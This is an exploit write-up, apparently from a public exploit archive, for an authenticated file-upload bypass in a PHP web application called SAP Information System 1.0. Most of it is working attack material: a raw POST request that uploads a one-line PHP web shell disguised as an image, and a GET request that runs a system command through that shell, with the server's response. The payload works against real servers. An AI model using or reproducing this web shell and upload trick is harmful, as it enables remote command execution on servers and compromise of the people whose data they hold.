SAP Information System 1.0 Shell Upload

`# Title: SAP Information System 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 05.04.2022  
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
```  
<script>  
$(document).ready(function() {   
load_data();   
var count = 1;   
function load_data() {  
$(document).on('click', '.edit-image', function() {  
var beneficiaries_id = $(this).data("image");  
get_image(beneficiaries_id); //argument   
  
});  
}  
function get_image(beneficiaries_id) {  
$.ajax({  
type: 'POST',  
url: 'fetch_row/beneficiaries_row.php',  
data: {  
beneficiaries_id: beneficiaries_id  
},  
dataType: 'json',  
success: function(response3) {  
$('#img_beneficiariesid').val(response3.beneficiaries_id);  
$('#img_imageprofile').attr("src", '../../'+ response3.image_profile.slice(0));//image  
  
}  
});  
}  
});  
</script>  
```  
  
  
[+] Payload POST  
  
  
```  
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964  
Content-Length: 1343  
Origin: http://0day.gov  
Connection: close  
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php  
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9  
-----------------------------3440160751499277351272200964  
  
Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"  
  
Content-Type: image/jpg  
  
<?=`$_GET[515]`?>  
-----------------------------3440160751499277351272200964  
Content-Disposition: form-data; name="beneficiaries_id"  
5  
-----------------------------3440160751499277351272200964--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /SAP_Information_System/Uploads/0day_Hejap.php?515=echo+Hejap+Zairy HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Tue, 05 Apr 2022 17:56:20 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 12  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
Hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
https://i.imgur.com/65biZn6.png  
https://i.imgur.com/kNOA8dT.png  
https://i.imgur.com/LMlTPww.png  
`